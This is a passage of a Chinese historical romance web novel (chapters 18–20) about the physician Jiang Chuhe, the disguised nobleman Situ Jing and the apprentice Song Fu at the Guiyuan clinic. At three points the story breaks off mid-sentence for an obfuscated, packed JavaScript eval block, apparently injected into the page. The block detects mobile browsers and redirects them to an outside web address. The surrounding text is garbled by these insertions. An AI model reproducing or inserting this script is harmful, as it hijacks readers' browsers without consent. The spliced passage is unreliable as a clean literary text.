司徒靖打着方才临时买的灯笼替她照着路,半哄半劝地才算是赶在宵禁前把人给带了回来,不然可说不好这馋嘴猫又要拉着他去敲哪家铺子掌柜的房门。 毕竟,江楚禾为了沿途觅食,甚至接连几次拒绝他想要叫车的提议。 “哎呀!” 两人刚走到归元堂的招牌下,江楚禾又像是突然想起了什么要紧事。 “我向你保证,明日不论店铺还是我,都还会在这里,到时你想吃什么都可以。现在先回家好么?就快要宵禁了。” 按照大梁律令的规定,除特殊节庆外,平日里从二更三点到五更三点之间都要实行宵禁,擅自外出走动若被官差抓到,那可是要挨板子的。 虽说他不受一般法律的约束,但江楚禾却是不同,而他微服到此显然也不便滥用特权,司徒靖犹豫片刻,同她商量道:“你若实在想吃便同我说。我去买来,你先回家,可好?” 江楚禾听他这么说,顿时觉得有些好笑:这人是将自己当成什么饿鬼转世了? 她笑道:“哎呀!不是那个啦!我是在想……”说着,便微微踮起脚尖凑到司徒靖的耳边,压低声音道:“我在人前该怎么称呼你呀?” 江楚禾想,毕竟宋福那小子一时半会儿可学不会扯谎这么高阶的技能,若非当年她与师兄谈及往事不慎被他听了去,她也不会将出身兴京的事情说给他听,如若此人身份需要保密,最好先赶紧编个化名,省得过后再惹事端。 可司徒靖不知想到了哪里,听闻此言竟怔愣起来,像是不敢确定她的用意。 她见对方似有不解,只好径直向他确认:“我是说……我当着阿福他们……还能叫你‘晏安’吗?” 司徒靖闻言点头,像是松了口气,言语间也流露出一丝亲昵与放松:“我在家中排行第二,江九娘子也可唤我‘二郎’。” 低沉的嗓音伴着他的吐息敲在耳畔,江楚禾莫名打了个颤。 二郎? 这称呼…… 多少有点暧昧了吧? 江楚禾一时失神。 还没等她缓过劲来去叩门,宋福便已听到声响,先一步迎了出来。 “东家?你……们?呃……可算是回来啦!” 从下午江楚禾出去开始,宋福就一直留意着门口的动静,总算将她盼了回来,揣在怀里到处乱跳的小心脏这才得以落定。 至于郎君为何又跟着东家回来了,两人还有说有笑像是全无隔阂,这不是他该考虑的问题。 他只需好生伺候着就行。 “郎君、东家,你们终于回来啦?饿了吧?可要用膳?要不我去做些粥?” 宋福想着,江楚禾在牢中必定没有可口的吃食,下午回来后又径直出了门,恐怕腹内空空不好安眠,但现在已经入夜,怕是也没有工夫做什么大菜,便只好如此提议。 没想到江楚禾闻言立即摆了摆手,“不用!我们已经吃过了!” 还吃了不止一家。 正想着,突然凭空传来一阵“咕噜”声。 宋福摁着自己的胃部,不好意思地挠着头。 “啊!”江楚禾恍然大悟,“阿福你是不是一直在等我,都没顾上吃晚饭啊?” 少年药僮赶紧摇头,但随后响起的腹鸣声又将善意的谎言径直戳破。 司徒靖应声将手上的东西递过去,“我得知江娘子今日粒米未进,便与她先用了晚膳,这是带给你的包子,你若未曾用膳,便拿去热热吃吧。” 江楚禾看着那眼熟的油纸包,心道怪不得这人方才吃过抄手后还专门又去买了包子,当时她还腹诽这傻大个儿食量惊人,原来是给宋福准备的…… “没想到有人看上去冷冰冰的,实际上竟这般细致,谢谢啦!” 见宋福傻乎乎愣在一边,像是不敢随便接受的模样,江楚禾忙从那人手中将纸包接了过来,又递给少年药僮。 “喏!这可是晏公子特意带给你的,快拿去吧!” 晏公子! 宋福刚伸出来的手在半空中抖了一抖。 本朝阶级分明、规矩繁多,若非官宦人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923002|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的子弟,是断不能被称作“公子”的。 更何况……他还姓“晏”! 果然是把兴京来的官爷招惹回来了啊!这可如何是好? “阿福?”江楚禾见宋福面色风云变幻,好似吃错了药,忍不住唤他一声。 “啊?嗯……那便谢过晏公子了。”宋福恭敬接过,内心万马奔腾。 东家看上去心情不错所以这位晏公子不是什么见不得的人对吧? 自己肯定没给东家惹事对吧? 少庄主也不会怪罪的对吧? “哦,对了。”江楚禾突然出声,打断了他的胡思乱想,“晏公子要在此处暂住一阵,你稍后去准备一下。” “呃……住在病舍?”那个条件是不是有点憋屈…… 还没等宋福将后半句话说出口,就听江楚禾嗔道:“你傻啊!当然是书房隔壁那间,病舍这儿人来人往的,你是生怕钱媪瞅不着他么?” 凡是来到弋陵的未婚郎君,只要堪堪能入钱媪的眼,都会被她仔细盘查,直至问清楚祖上三代从事何业、家宅几间、田亩几顷,分级分档列入备选,再同县中待嫁女娘相互配对。 若真让他露了脸,怕是要有数不清的麻烦事。 这一点宋福自是明白。 可书房隔壁那间屋子…… 他揉揉脑门,为自己掬了一把辛酸泪。 在归元堂用来住家的内院之中,主屋统共分为三间,其中东屋是江楚禾的住处,正中那间被她拿来当做书房,而西边的主屋则一直处于空置状态。 她的师兄曾多次表示想搬进正房,都被江楚禾以“你一年又来不了几次”为由赶到西厢的客房去住。 宋福预感大事不妙。 以东家在这方面的迟钝程度,恐怕还没意识到少庄主的真实用意,若到时他知道有位男子住了进去,那滔天的醋意还不得把整个归元堂都腌出味来? 宋福抱着最后一丝希望,追问一句:“东家说的可是空置的那间客房?” 用来待客的西厢房中,除去少庄主常住的那间,还另有一屋被长期闲置,只需洒扫一番就能住人。 但江楚禾却没有按他所期待的那样回答:“都说了是书房隔壁那间……正房不是有一间没人住么?你忘了?” 宋福内心大呼完蛋。 看来…… 他只能盼着这两位爷能“王不见王”了。 而司徒靖此时还对宋福心中是如何祈祷自己速速离去的事情浑然不知,他向宋福躬身一拜,十分诚恳地说了句“多有叨扰”。 宋福见状赶忙回拜,嘴上则不停说着:“若非公子仗义相救东家怕是仍在蒙冤,如今公子下榻医馆,此处蓬荜生辉,唯恐招待不周,还请公子切勿客气……” 江楚禾听后直翻白眼,赶紧将正搜肠刮肚想找些高级字眼,好跟那人继续来回客套的傻小子打发去了内院。 这孩子已足够迂腐,可不能再跟着他学了。 不过…… 宋福临走前说的那句话倒是让她想起一个重要的问题。 江楚禾快走两步赶到司徒靖面前,回身紧盯他的眉心,还比划了个手刀横在他的身前,看上去像是一副半道劫色的匪徒嘴脸。 司徒靖先被这突如其来的阵势惊得怔愣一下,而后便瞬间领悟她的意思,立即举起两手做投降状,甚至还十分配合地喊了句“女侠饶命。” 但他的顺从并未令“女侠”心软。 “从实招来!”她目露凶光,以手为刀抵上司徒靖的喉头,质问道:“你怎么知道这医馆东家就是我的?” 18. 交心 江楚禾记得宋福曾说过,此人是听说她蒙冤入狱之后自己找上门来的。 之前她没顾得上细究,现在想来,此事蹊跷得很。 她在弋陵地界一直是以“定州流民江阿九”的身份过活,谣言便是传得再邪乎,也不会提及她兴京江氏的出身,那么他又是如何将“归元堂江娘子”的名号同自己这个旧相识挂上钩的? 看他有些心虚地垂下眼眸,江楚禾疑心更甚,比起手刀抵在他的喉头,佯作凶悍道:“速速从实招来!否则……哼!我可有的是手段!” 司徒靖闻言难忍笑意,却在被瞪一眼后又压下嘴角,无奈回道:“我猜的。” 那你还真是料事如神。 “如何猜的?”江楚禾一抬眉毛,明显不信。 “我在水神庙中偶遇王富兄妹,通过二人交谈内容猜出的。” 按照阿姎对上元夜事件的描述,那位“归元堂的江娘子”可是世间少有的英勇。 在此地遇到江姓女医者已是极罕见的巧合,而如她这般为管闲事不要命的女娘,他更是从没见过第二个。 何况,此人还能解开玄铁软甲这种民间根本接触不到的东西。 司徒靖向她详细解释一番,试图说明猜中她身份是何等顺理成章的事。 不过江楚禾听后却跑偏了重点。 为管闲事不要命?我那叫侠肝义胆、锄强扶弱、见义勇为、奋不顾身好么! 可还没等江楚禾开口对他的不当用词表达抗议,就听那人继续说道:“并且……阿福曾对我说过,此处是青囊山庄弟子的医馆,而你的外祖家恰好与之有些渊源。” 她不禁感叹这人的心是真细,记性也是真好。 京中权贵大多只识得江楚禾那位曾任太医院院使之职的外祖父许济,却鲜有人知晓她的外祖母出身青囊山庄宗氏,乃是真正的医药大家。 在两人初遇之时,她曾用青囊山庄的秘方替他疗伤,顺口就提了一嘴,没想到这么多年过去,他竟仍然记在心上。 但这又能说明什么问题? 江楚禾不以为然道:“哦?可青囊山庄弟子少说也有百余,你怎知就没有别的江娘子或是姜娘子热心助人还聪明手巧?” 手巧到头一回见到玄铁软甲就能轻易解开的那种。 司徒靖早就知道她不会被轻易打发,听闻此言便淡定反问道:“昨日清晨,我刚醒来不久,阿福就急着催我离开,在听我说起想求见医馆东家之后,不仅不肯试着通传一声,反倒一副恨不能立即将我赶出去的模样。若非他的好东家叮嘱过,哪个医者会如此对待一个素不相识还身负重伤的过路人?” 啊这…… 江楚禾心虚地瞟了他一眼,只见那人薄唇轻抿、眼神幽怨。 不对劲!很不对劲!从前那个清冷美男呢? 江楚禾总觉得自打重逢之后,这人不仅面部表情越发丰富,更是时不时就流露出一股被人骗去真心的痴情郎气质,害她平白生出理亏之感,只好生硬地岔开话题。 “那个……话说……你……还见到阿姎了呀……” “嗯。” 提起阿姎,江楚禾倍感唏嘘。 今日,当她见到一位自称是阿姎兄长的壮汉被刀疤脸捕快押上堂时,可着实是吃了一惊。 只是没过多久,她心中的讶异便被另一种情绪给严严实实地遮盖过去。 据王富所说,他与死者李全虽同在赤浦码头做事,两人却未曾有过冲突。 直至上元夜李全对阿姎欲行不轨被人当场捉住,事后又偶然得知阿姎是其妹妹,这才上门寻衅,在此过程中被王富失手反杀。 江楚禾不免有些懊悔。 若非她当日出言羞辱,李全恐怕不至于那般不忿,更不会因心中不平去找王富讨要说法,那么李全便不至身死,王富也就不必如现今这般落得一个杀人偿命的下场。 司徒靖见她神色恹恹,立即明白了她的心思。 “江九娘子不必自责,此事皆由李全所起,是他盯上的阿姎,并不是你招惹了李全。” 如今他仍不愿以“江阿九”的化名来称呼她,却又已然失去唤她闺名的资格,便只好如当年那样称呼她“江九娘子”。 只是江楚禾眼下顾不得关注这些,她心里还在为阿姎而感到难受,“如今王富身陷囹圄,也不知阿姎如何了,你说……她会不会怪我?” “不会。”这一点司徒靖确信无疑。 他自认搬弄是非实在有伤君子风度,何况此事涉及闺门阴私,也不便由他一个男子说出口,所以迟迟没有将阿姎同王富的那档子事讲给江楚禾听。 此时见她这般自责,他只好简单解释了王富对阿姎存的那份心思,还顺便说起阿姎如今已在黄家,正在给黄四爷的嫡女作贴身丫鬟的事。 见江楚禾像是终于宽心,他也算松一口气,顺嘴就按阿姎的嘱托提到要“捎个头”的任务。 只是他说起这件事时,面上丝毫不改先前的一本正经,以至于江楚禾还以为自己听岔了话。 她瞪大眼睛,犹豫着问道:“不是……你刚说……她让你捎个什么玩意儿?” 司徒靖略微抬了抬下巴,又用眼神示意地面,神色如常地看着她。 “是我想的那个么?”圆圆的杏眼里满是疑惑。 “恐怕是的。”司徒靖作势就要往下跪。 “别……我心领了……”江楚禾一把扶住他。 “可是,阿姎嘱咐我一定要带到的。” 司徒靖满脸正直坚定,让人难以想象他会有什么捉弄人的顽劣心思。 江楚禾暗道不妙,这人轴的要死,该不会当真要…… 她果断提议:“要不……先存在你那儿?这玩意既然都能‘捎’,那……寄存一下应该也无妨吧?” 想来司徒靖也觉得此言有理,他从善如流,道:“也行。” 说罢,又被她扯着袖子坐到石凳上。 突然的嬉闹暂时告一段落,江楚禾收敛起玩笑的心思,正色道:“说起来……此事当中,真正无辜受到牵累的人其实是你。” 她自认与此人的关系算不得亲密,现今两人的身份更是有如云泥之别,万万没想到他能这般卖力地帮助自己。 司徒靖见她如此客气,心又沉了下去,“你无事便好,将来……也要多留心,莫再遭人暗害。” 听到这话,江楚禾嘟起嘴,假作嗔怪道:“其实你也觉得我有些爱管闲事吧?” 谁知他却摇摇头,“我敬佩你的正直刚烈,亦感动于这份真挚热诚,但若问我本心,唯愿你能平安顺遂。” 他的嗓音浑厚低沉,总有一种熨帖人心的魔力。 但此时听在她的耳中,却觉得心里就像被猫挠过一把似的。 江楚禾莫名觉得,自己若不做点什么来摆脱眼下这个气氛,事情恐怕要往奇怪的方向发展下去。 于是她一把抓过司徒靖的手腕,三指并拢搭上他的脉:“公子所言甚是令人感动,在下无以为报,便替你看看伤势吧!” 日前为他包扎时江楚禾已仔细看过,他那几处刀口深可见骨,虽然没有危及脏腑,但难免元气大伤,恐怕还是得好生将养。 可令人没有想到的是,他的脉象强健有力,绝非重伤初愈应有的状态,只在轻按之下才能隐隐感知到细微的异动,像是有个杀手正潜伏在暗处,窥伺着向猎物扑去的时机。 莫非“死契”竟还有助人伤愈的奇效? 江楚禾对此毒越发好奇,可惜外祖一家早在五年前便皆已葬身火海,她若想将其破解恐怕只能靠自己另想法子。 她犹豫片刻,又向司徒靖问道:“你手中还有解药么?能不能拿给我看看?” 按虎贲军的规矩,信字营中的死士都会定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她默默思忖,算来晏玄次子如今应与此人一般年岁,他既姓晏,又身在孝字营中,不仅浑身一股清冷自持的出家人气质,更自称是在家中排行第二,简直桩桩件件都对得上! 她劈头就问:“那你怎么没在观云山待着?” 如今晏亨一脉已尽数伏法,作为同胞兄弟,晏玄一家恐怕也难逃被株连获罪的命运。 她想,此人南下多半与这件事脱不开关系。 还没等江楚禾为可怖的设想添上细节,对方的回答便坐实了这个猜测。 “在下此行,是为家事。” 果然没错! 猜想既已得到证实,江楚禾不再纠结,横竖此人不会害她,若继续追问对方身世反而弄得彼此都尴尬,于是她话锋一转,问起更要紧的事:“那你怎么中毒了?” “一时失察,为贼人所害。”司徒靖垂下眼眸,看上去有些沮丧。 当日他按迹循踪找到那伙神秘人在越州的落脚处时,对方已做好遁逃的准备。 仓促之下他只能放弃等待援军的计划,与南樟分两道闯入,未曾想却在此过程中无意间吸入了丹房鼎器内残存的毒雾。 虽说他在第一时间以内力封住周身各处大穴,却依然没能控制住此毒的蔓延,也不知现今是否还有救。 正如此想着,突然有丝丝凉意攀上他的指尖,激得司徒靖立即回神。 江楚禾捏了捏他的手,坚定道:“别怕,我会帮你。” 她的眸中满是关切与鼓舞,让他说不出拒绝。 司徒靖抿了抿唇,对上那满眼的星光,低声应道:“那便有劳江九娘子。” 他这么说着,下意识在她手背摩挲几下,薄茧轻轻擦过肌肤,引起她一阵战栗,两人瞬间愣住。 幸好江楚禾反应迅速,她“嗖”地一下收回手,还没等他致歉就笑着说道:“我是医者,治病救人乃是天职,二郎别这么客气嘛!” 说罢,又朝他的前襟伸出手去。 19. 意外 见她伸手过来,一副要撕扯自己衣襟的暴徒模样,司徒靖忙向后仰。 “不是……你紧张什么?”江楚禾起身,一把抓住他的袖口。 虽说她刚突然唤出那声“二郎”,确实是有几分借着故意逗他来化解尴尬的用意,可她敢对天发誓,此刻动手是实打实地为了诊病,绝对没有半点旁的念想! 清白正直的医者仁心,苍天日月皆可为证。 江楚禾耐心解释:“我从脉象瞧着,你似乎血气充沛,不像是外伤未愈的样子,所以就想看看伤处恢复得究竟如何,并没有别的意思。” 不想,司徒靖听后却将自己的腰封捂得更紧了些。 “现下伤处已然无碍,江九娘子不必挂心。” 这倒也并非虚言。 昨日他自行上药时已仔细检查过伤处,原本起码得要十日才能愈合的刀口,眼下已经长好大半。 他想,自己毕竟肉.体.凡胎,江楚禾的医术便是再高明,恐怕也难臻如此境界,想来此等异状应同他在贼人据点中吸入的不知名毒雾脱不开干系,只是眼下所得信息尚不足以做出决断,也不好将无根无据的猜测说给她听。 但江楚禾却不肯放过他:“那你倒是让我看看呀!” 她想不通这人这是在矜持些什么,明明她清创时啥该看不该看的都已经看过了。 其实,江楚禾原本的计划是待晚些沐浴之后再替他上一次药,到时顺便看看伤口的愈合情况,可现在此人这副抵死不从的样子倒是激起她立刻将之“就地正法”的冲动。 江楚禾两手并用,作势就要扯开他的衣领。 电光石火之间,一双大掌覆上她的手背,试图阻止她的“暴行”。 此举卓有成效,因为就在两人十指交握的那一瞬,江楚禾莫名感到一阵酥.麻.之.感从体.内.深.处窜了出来,激得她指尖一颤,本能似地就要将手抽回,生怕被那人瞧出端倪。 万幸对方心思纯正,见此情状还以为是自己弄疼了她,连忙起身,一脸关切地问起:“怎么,手指痛吗?可是先前受过拶刑?” 其实早在两人于思园中正式相见时,司徒靖便留意过她的状况,在基本确定她十指上的红肿已然无碍后才放心与她言说其他。 可是,方才她的十指分明有些发颤,莫非是伤没好全? 司徒靖顾不得掩饰紧张的神情,连连追问:“你伤得如何?” “我没事儿,手上那点伤早就好了!”说起这个,她难掩得意,“我早就料到他们会使出夹手指的招数,所以在去县衙前便备好药膏贴身藏着,一回牢房就抹上了,起先还有些肿,不过睡一觉就什么事都没啦!” 说着,江楚禾还炫耀似地在他面前晃了晃双手。 司徒靖终于舒展开眉头,唇角隐约勾起一丝笑意,但不过瞬息之后,他又恢复往日神态,正色问道:“那你方才为何……” 这一问,真让人不知该如何回答。 她也不知道啊! 江楚禾就着凉亭中的昏暗灯光看向他,那人将一只手背在身后,另一手仍紧按着腰封不肯放松,像是在提防着她再度动粗。 看着那只骨节分明、五指修长的大手,她又想起方才的意外,以及那阵犹如过电似的奇特感觉。 随后脑中便闪出一个大胆的念头:要不,再试试? 鬼使神差地,江楚禾再次伸出手去。 就在这时,司徒靖突然起身将她护在背后,朝不远处的阴影大喝一声:“什么人?” “公……公子!是我……”宋福从一旁的灌木后边探出半个身子。 江楚禾心道不妙,这孩子若将刚才那一幕全瞧在眼里,别是要想到什么奇怪的方向去了吧? 她有些心虚,说话都不自觉地磕巴起来:“阿……阿福?你……啥时候来的?” 就在东家你撕扯晏公子衣裳的时候。 宋福摸摸鼻尖,到底还是不好意思将这句实话说出口。 “也没多久……那什么……”他如此敷衍一句,然后就老老实实回报起差事的进展来:“东家,晏公子的住处已经收拾停当,沐浴用的热水也给两位送进屋里了……” 江楚禾正愁没法从眼下的尴尬境况中脱身,听宋福这么一说,忙道:“太好了!我在牢中呆了一晚,早就想好好泡一泡了!阿福,晏公子那边儿你伺候着,记得换药时瞧瞧他的伤处,我先走一步哈!” 甫一进屋,她就迫不及待地解衣散发,还顺手为自己配了个生肌活血、宁心安神的药包丢进浴桶之中。 白芷的清冽与合欢的微苦随水汽氤氲开来,江楚禾嗅着那股幽香,紧绷多日的精神也松弛下去,这才终于能沉下心细细琢磨起眼前的局面。 好消息是,就那人今日的表现来看,他对自己这个旧日相识应当多少还是念着些情分的。 只不过以两人当年的交情,再叠加所谓的救命之恩,虽然能让此人自愿出手将她从冤狱中解脱出来,却未必足以令其做到能协助她探查江氏旧案,乃至为她的家族洗雪冤情这一步。 更何况,如今晏氏亦饱受皇权猜忌,那人也是自身难保,若想一举成事,恐怕只能指望靠他牵线搭桥,帮她求助于更大的力量。 比如…… 他的顶头上司,统领孝字营的二皇子齐王,她曾经的未婚夫。 唉!怎么绕来绕去还是回到这条死路上了呢? 江楚禾不免有些泄气,抬手就将浸湿的布巾盖到自己脸上,试图借此缓解焦虑。 甘苦木香随蒸汽吸入肺腑,果真为她带来几分安宁之感,意识渐渐变得有些模糊,失重感随之袭来。 “江九娘子!快醒醒!” 就在半梦半醒之间,她的耳边突然传来一阵熟悉的低哑男声。 江楚禾迷迷糊糊地睁眼,只见面前场景不知何时竟变了个大样,床榻屏风等屋内陈设全都不见,取而代之的是满眼郁郁葱葱的林木。 这里竟是…… 赤霞山行宫? 她记得自己上次来到此处,还是在五年前的花朝节,作为官员亲眷受邀参加御苑春筵的时候。 因祖上从商的缘故,即便她的高祖父从龙有功,祖父又身居宰辅之位,但在部分京中贵女眼中,江楚禾依然是个不入流的存在,所以她虽喜爱热闹,对这类宴会却是兴致缺缺,此番之所以愿意前往,除贪图那两口御宴上的稀罕吃食,还是因为她与那人有约。 对了,他人呢? 想起这茬,江楚禾趋步上前,不料双腿却仿佛被什么力量拉扯着,每一下都像是飘在空中,又像是陷在泥里,越心急就越使不上劲。 她低头,这才发现湖水已漫过自己的肩头。 “别怕,我在。” 正心慌时,一只有力的臂膀突然出现,穿过膝弯将她径直扛在肩上,江楚禾顿时感到一阵天旋地转。 这不对啊…… 当年他可不是这么救人的! “喂!你放开我!我又不是麻袋!” 江楚禾边喊边晃动双脚,随后“咣”地踢到坚硬的浴桶壁上,在“嗷嗷”的呼喊声中惊醒过来。 听见里边传出动静,守在门外的宋福有些着急:“东家?你怎么了?要帮忙吗?” 不是让他伺候那人沐浴来着,怎么在这儿? 江楚禾唯恐是外边出了什么岔子,顾不得好生捏捏被撞疼的脚趾,忙不迭地从水中钻出,她麻利地穿衣束发,不到半盏茶的工夫便收拾停当,打开房门。 “阿福,你给晏公子换好药了?他伤处恢复得如何?” “东家……我……我没……”宋福一脸欲言又止。 看他这副怯生生的模样,江楚禾就知道是差事办得不利索,但她严厉归严厉,道理还是要讲的。 “怕啥?你照实说就行,若不是你的过错,我还能罚你不成?”末了,她还很不道义地将自家师兄拎出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923004|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来拉踩一番,自顾自添上一句:“我又不是宗稷。” 宋福听见少庄主的尊姓大名,半点胆量没壮起来,反倒是更怂了。 他隔着窗户纸看了看旁边屋里模糊的人影,压低声音,磕磕巴巴地解释:“东家……晏公子他……不肯让我给换药,还非说他自己能行……将伤药拿去后就将我打发出来了。” 江楚禾轻蹙眉头。 经宋福这么一说,她才回想起来,那人好像从不在人前处理自己身上的伤处,就连当年那般危急的情况,他也只肯让江楚禾帮忙包扎手臂。 原先,她还以为此人是出于男女之别才会如此避嫌,没想到在宋福面前竟也是这般矜持。 莫非是因为什么劳什子清规戒律? 江楚禾晃晃脑袋,决定不再乱想,毕竟那人向来靠谱,若非心中有数,必不会任性而为,眼下既不肯让他俩帮忙,那就算了吧! 这么想着,她挥挥手,宽慰宋福道:“罢了,他应当自有分寸的,你这些天也辛苦了,早点回去歇着吧。” 说罢,江楚禾转身就准备回屋,可刚一抬脚又被宋福拉住袖子。 “喏,东家……还有这个……”他递上来一个沉甸甸的物件。 那日事发突然,她还未来得及将它收好,就被刀疤脸捕快带去衙门。 江楚禾默默将其攥在手心。 她想,此物太过贵重,明日一早就得将其还了去。 但那时的江楚禾可没想到,次日清早她院儿里的热闹简直是一茬接着一茬,根本就顾不上这件事。 * 翌日天刚亮起,她就被宋福略带颤抖的呼喊给吵了起来。 “公……公子,您这是……做甚……” 嗯?这动静听着不太对啊…… 江楚禾赶紧穿好衣裳,随手将长发挽起就急急忙忙地冲了出去。 宋福见她出来,如同见到救星一般,急切晃动着四肢,嘴上还不停呼救着:“东……家……东家!救命!” 而那位素来沉稳守礼、清冷自持的美男子,此刻正单手揪住宋福的衣领,稳稳地将他悬空提起。 江楚禾觉得自己怕是还在梦里。 不然大清早的这是唱的哪一出? 她大步上前,边走边喊:“晏安!你这是做什么?快点放开他,这孩子经不住如此折腾!” 见她过来,司徒靖神色微动,将瑟瑟发抖的少年药僮放回地面,五指却仍然紧紧捏着他的前襟,冷声问道:“你是何人?在她身边有什么图谋?” 宋福顿时傻眼,视线来来回回地在两人脸上打着转。 “小……小的是归元堂的药僮宋福啊!东家……公……公子这是怎么了?” 昨夜那碗药是他亲自熬的,绝不可能有问题,可公子眼下这副模样又显然像是吃错了药。 对于这个情况,江楚禾也是一头雾水。 但眼下最重要的还是先保住宋福的小命,她安抚似的拍了拍司徒靖的肩,柔声劝道:“晏安,你先放开他。” 可那人却仍旧不肯松手。 “你先放手,他又跑不了……” 三两息之后,司徒靖低低回应:“不行,他懂功夫。” 怎么可能! 江楚禾原本只担心他这是因中毒的缘故而突然发狂,可现在更怀疑他是昨夜沐浴不慎让脑壳进了水。 “他那点拳脚怕是对付我都费劲,你想多了……” “是啊……公子,我……我啥都不会……”宋福的声音隐约带着点哭腔。 他平生还是头一回如此急切地想要证明自己未曾掌握某项技能。 可司徒靖却丝毫未被这副真诚的模样打动。 他剑眉深蹙,劈头问道:“方才我离你那般远,又特意隐下气息,若非你有深厚的内家修为,怎能察觉我身在此处?” 宋福脸上写满冤枉,他大声呼喊起来:“我……我那是……闻出来的!” 20. 隐忧 司徒靖也没料到,事情竟会发展到如此地步。 因常年遵循规律作息的缘故,今早寅时四刻他便自然醒来,在按惯例打坐练功、读书诵经之后,才打开房门向外走去。 不出所料,院子里一片寂静。 他知晓江楚禾贪睡,一向都有赖床的毛病,便不敢在附近闹出动静,而是轻手轻脚地绕到后院,捡起墙边的树枝在僻静花园中舞弄起来。 待将刀法过上一遍,已是卯时之后。 见天色亮起,司徒靖这才罢手,他迅速将树下痕迹清理干净,起身前往东厨,准备试着为她做些早膳。 之所以要“试”,并非是因他不通厨艺,拜那几卷涉猎广泛的札记所赐,如今他对江楚禾的口味可谓是了如指掌,甚至能按她的食谱原样复刻。 只不过,往日生火添柴这些粗活都是府中下人在做,他怕是得将那炉灶好生摸索一番才行。 这么想着,司徒靖缓步走出花园,远远就瞧见宋福正在庖厨内忙着,看上去像是正要点灶。 他隐下气息,借着凉亭的遮挡站到视线死角处,准备暗中学习要领,不想那少年药僮却像是身后长着眼睛似的,转头就朝他喊了声:“晏公子别躲啦!我知道你在那呢!” 司徒靖“蹭”地警醒起来。 而那之后的反应就像是长在身体里的本能,待他回过神时,宋福已然双脚离地。 看着对方毫无伪饰的面容,司徒靖缓缓撒手,面上却还是带着几分疑惑。 “你方才说……是闻出来的?” 对上他狐疑的眼神,宋福惊得一颤,但强行壮起胆子,嗫嚅着解释道:“小人身份低微、手脚粗笨,原入不得少庄主的眼,幸而鼻子还算灵光,这才勉强留了下来。其实……打从您站在院里那座凉亭的边上,小人便闻到公子身上的伤药味了。” 什么人竟能有如此本事? 司徒靖用求证的目光看向江楚禾。 出乎意料的是,她一脸真挚地点了点头。 这件事听上去有些离谱,但那傻小子当真是生来就长着一副狗鼻子,作为药僮堪称天赋惊人。 江楚禾简单向他分享了几件譬如隔墙辨药、百丈闻香等在青囊山庄众弟子间流传已久的奇闻,以证宋福确有堪比哮天犬的极致嗅觉。 还未等她讲完,司徒靖便隐隐露出愧意。 “阿福,今日之事全怪我冒昧猜忌、冤枉无辜。多有冒犯,万望勿怪。” 宋福听后连连摆手,“公……公子,您别这么说……那啥……您这般神仙似的人物,怎么会胡乱冤枉人……肯定是小的哪里做得不对,这才引得公子怀疑……您……也是为了东家好!小的明白的!” 说起这茬,司徒靖也觉得奇怪,他虽算不得什么好脾气,但一贯谨慎自持,断不会这般武断行事,莫非…… 是那毒物在暗中影响他的心智? 借着长袖的遮掩,他不动声色地探向自己腕脉,左寸关处紊乱失序,正是心神不守、肝火妄动之象。 细细想来,竟与多年前在西绝的那回颇为相似! 司徒靖眉峰微蹙,心头涌上一股不祥的预感。 “晏安,你怎么了?”看他神色有异,江楚禾难掩关切:“是不是哪里不舒服?” “无事。”说着,他将手背到身后。 不想这番举动反倒激出了江楚禾的脾气。 “在医馆就要听我的话!”她柳眉一抬,命令道:“过来,给你把脉!” 正在此时,前院突然传来“咣咣”的敲门声。 “江娘子哎……” 坏了,是钱媪! “晏安,你快回屋!”江楚禾赶紧推了把身旁那人,催促道:“你快躲屋里,我喊你时你再出来!” “为何?” 他已听出此人便是那日来找江楚禾的老妇。 说起来,若非当日有她那句“江娘子”,恐怕他已因心存疑虑对宋福动手,甚至可能做出不可挽回之事。 江楚禾显然没料到他还惦记着这层因缘,只道此人半晌没有动作是年少无知,还不晓得钱媪的厉害。 “为何?哼……”她冷笑一声,反问他道:“你想成亲吗?” 司徒靖脱口而出:“和你?” 看他满脸的清白正直,倒让江楚禾一时不知该如何接话。 “你想什么呢!”她老脸一红,也没心思再继续卖关子,“甭管跟谁!你要是不想被留在弋陵给哪户富贵人家当上门女婿,就躲她远点儿!否则要给她瞧见你这张俊脸,不出三天就得有人来提亲!” 毕竟,就连年仅二八的宋福都被她说过媒。 司徒靖悻悻起身。 见他终于听劝回屋,江楚禾忙去前院迎客。 “啊哟!江娘子诶!哎哟哟,快让我看看……”钱惠姑一见到江楚禾便挥着帕子扑过来,拉着她来来回回地瞧,看她像是没受什么重刑,可算放下心,但也不忘关心一句:“受苦了吧……” 江楚禾堆起笑容,“还好,有惊无险。” “嗨呀!那日我一听说李全没了,就赶紧过来找你,想着你心中能提早有个准备,谁承想……唉……” 原来那天她来医馆是为了这个事儿。 江楚禾虽不喜钱媪这副逢人说媒的作派,可也看得出她对自己的关心并非虚情假意,于是便笑着宽慰她道:“我问心无愧,也不怕走那一遭!你看,我现在不是好好的?” “哎哟!老身知道江娘子你身正不怕影子斜,可这风言风语也不是那么好消散的……特别是咱们女娘家的名声,那可比金子还贵重的!” 